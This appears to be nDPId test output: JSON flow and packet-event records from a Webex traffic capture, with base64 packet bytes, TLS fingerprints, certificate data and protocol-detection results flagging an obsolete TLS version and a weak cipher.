+00408{"flow_id":39,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":113353,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCCFAAEAGekUKCAABrfMAbtlxAbui3tq4XSE1R1AQTE+\/7gAA"} +00853{"flow_id":39,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":163959,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuCCJAAEAGeP4KCAABrfMAbtlxAbui3tq4XSE1R1AYTE\/9iwAAFgMBAQYQAAECAQADqEbmbhNsumkBtAw0L1FiNOhiWgRZUZ55aPV5j4qSX6CJmn4f8ibzLJBlBGsAtgVCMqb3u\/bkEAwuWi3+E7uYNezIwjTe6uWtAYnXIHiRx75nDApJ9g3cbSfyo\/qsdlUxQzwGUMwRXI\/KZ5gpdEwezEGeP4EkEUeNRGvOTWNA1b6isLsNGEPVow6vZOJCaTzDuZ0FoMc5Ae\/GMdYxQvd4tmk3HlTvEaGZw3K85jUAIaU9PyIqcSNZBrfjNzLy5+n81AmqdPFIWfsMUUQ+n\/CXyELkuNfob4CA5H3XcX196Fn0C7YJybKnDxfalCnXJ4srNt6p3fhw2czhca2\/nB2uFAMBAAEBFgMBADAifxZQCOeUA1lSfy0VO6Pq3JMmDH1y+Vy7Vcl3lTQRhhGehcW0+Ylu3FQ0gSzj5pE="} +00410{"flow_id":39,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":164264,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAlBAABAGsBat8wBuCggAAQG72XFdITVHot7b\/lAQ\/\/8K+AAA"} +00494{"flow_id":39,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":419399,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAlVAABAGr9at8wBuCggAAQG72XFdITVHot7b\/lAY\/\/93FwAAFAMBAAEBFgMBADCghUp\/lA1a1GFcU6oj+Em7jhDJfnlQ+ZearHR0Tlkv98sGzAjtkikwF1kr96TPq7k="} +00408{"flow_id":39,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":423100,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCCNAAEAGekMKCAABrfMAbtlxAbui3tv+XSE1glAQTE++bQAA"} +01133{"flow_id":39,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":474741,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJACCRAAEAGeCoKCAABrfMAbtlxAbui3tv+XSE1glAQTE9KEwAAFwMBACDqUBKdV8AJw7ckP72NJSmGjkhTEIMzJ0vdiDKlBVih2xcDAQJQltw8cywkUsjkImIdWLkBvcvgTfN1194ZtfYxvzGuFCZ+FRAT4GKRN60CFVcBAppJopRrA5ggURAfW4VcbxRCPDIl8uVu1K3gKvk3fu2hT3Mw1i\/+NY5s2j2HjFyRyTUhOKt9W6Dff\/2aVqUd2vr5bjOHL6CAoevt2d4O94AFLibMtZvxIGknvWxPGnEENPqdEzmSUdPCzQMCjbQvCn9RktobCHTzpQdwTTZM1LFFFRiqrKO4PGmXB3hi8HimKcAqckis4cEyoKNUk4wJGtvx61RF+ERBKmcBAjmAssxqKjSlctnmxRLLiWToIfx+NT2ks7ibBtsTwt13a4sMdObf2LkyPbNTza2g5amlO\/oKLt4eryUeq+ZvW4\/h1vNaPOQp5QfaQ0+MoaqM5e3IzFMmYazCgAsGTStA6Neh1UHlr52Lq2xSnEqjG\/zJcmoEbwNg4oubiC14CoIHHAHDYBDVrr2dOJH6rR9AW2X5hOYAlfDQ7V6H5GWbphupIqlk0RWysy1HeeovF5HtE\/6Z3OZyNUr27oaaJlKd9v1YVNX7bnlFRhhohwvuIuDqjtfIYU+Sf03ectoH9czZmw1VEIjwqetqyaD7UyQWMTBn3fkwxEysLRULmhufrkocNFR9YCHIRw0zeTGgEmSochEJGPU="} +00410{"flow_id":39,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":475056,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAldAABAGsA+t8wBuCggAAQG72XFdITWCot7eFlAQ\/\/8IpQAA"} +00545{"flow_id":39,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":475825,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ABoRAAACABoRAAABCABFAACKCCVAAEAGed8KCAABrfMAbtlxAbui3t4WXSE1glAYTE\/UtQAAmHVEYbuqOyCrxFJu6n22Og77DMpB20n4QmoYUJth1X+w3z6u9DIZFjIBQ2eHYidmx2WtmuC+Q+hUoiqkcZsL5JNP7gopOvzrK7EqC7vXk\/VlCpBDIvGFCmQRzVhLLhBg0rE="} +00410{"flow_id":39,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":476003,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAllAABAGsA2t8wBuCggAAQG72XFdITWCot7eeFAQ\/\/8IQwAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":736,"source":"webex.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1444570675941,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51833,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":941714,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8SaRAAEAGwwMKCAABPm3lnsp5AbteGJvVAAAAAKACOQhIBAAAAgQFtAQCCAoATNJxAAAAAAEDAwY="} +00409{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":945842,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAm5AABAGOk4+beWeCggAAQG7ynmh52QqXhib1lAS\/\/+1iAAA"} +00407{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":946782,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoSaVAAEAGwxYKCAABPm3lnsp5AbteGJvWoedkK1AQOQh8gQAA"} +00663{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":997260,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADjSaZAAEAGwloKCAABPm3lnsp5AbteGJvWoedkK1AYOQjWkQAAFgMBALYBAACyAwEHq+X4OM58pZkulReYFtDW\/RDKtfBfQqv2TASThhAOCAAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":740,"source":"webex.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":4,"flow_first_seen":1444570675941,"flow_last_seen":1444570675997,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51833,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570675,"pkt_ts_usec":997731,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAnBAABAGOkw+beWeCggAAQG7ynmh52QrXhickVAQ\/\/+0zgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":821,"source":"webex.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1444570679512,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55669,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570679,"pkt_ts_usec":512700,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8dLdAAEAGDZsKCAABrfMAbtl1Abugj6duAAAAAKACOQhfOgAAAgQFtAQCCAoATNPZAAAAAAEDAwY="} +00409{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":822,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570679,"pkt_ts_usec":516479,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAphAABAGr86t8wBuCggAAQG72XVfcFiRoI+nb1AS\/\/8cNwAA"} +00407{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":823,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570679,"pkt_ts_usec":516623,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLhAAEAGDa4KCAABrfMAbtl1Abugj6dvX3BYklAQOQjjLwAA"} +00664{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570679,"pkt_ts_usec":526515,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADjdLlAAEAGDPIKCAABrfMAbtl1Abugj6dvX3BYklAYOQi67gAAFgMBALYBAACyAwE3afvT656oHHNlOl3\/S5vQra3qbarVhBS8TCkcXn\/60QAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":824,"source":"webex.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1444570679512,"flow_last_seen":1444570679526,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55669,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570679,"pkt_ts_usec":526722,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAplAABAGr82t8wBuCggAAQG72XVfcFiSoI+oKlAQ\/\/8bfQAA"} +02277{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":79755,"pkt_caplen":1434,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1434,"pkt_l4_len":1400,"pkt":"ABoRAAACABoRAAABCABFAAWMAqNAABAGql+t8wBuCggAAQG72XVfcFiSoI+oKlAY\/\/9YtQAAFgMBDz4CAAAtAwFWGmIhpdMClixxGH1P3IzNWjym1oz\/Vm0EP84\/FROoyAAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNV"} +00406{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":82130,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLpAAEAGDawKCAABrfMAbtl1Abugj6gqX3Bd9lAQQLDVaAAA"} +03813{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":91160,"pkt_caplen":2581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2581,"pkt_l4_len":2547,"pkt":"ABoRAAACABoRAAABCABFAAoHAqRAABAGpeOt8wBuCggAAQG72XVfcF32oI+oKlAY\/\/+QNAAABAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":846,"source":"webex.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":8,"flow_first_seen":1444570679512,"flow_last_seen":1444570680091,"flow_tot_l4_data_len":4274,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2547,"flow_avg_l4_data_len":534,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55669,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} 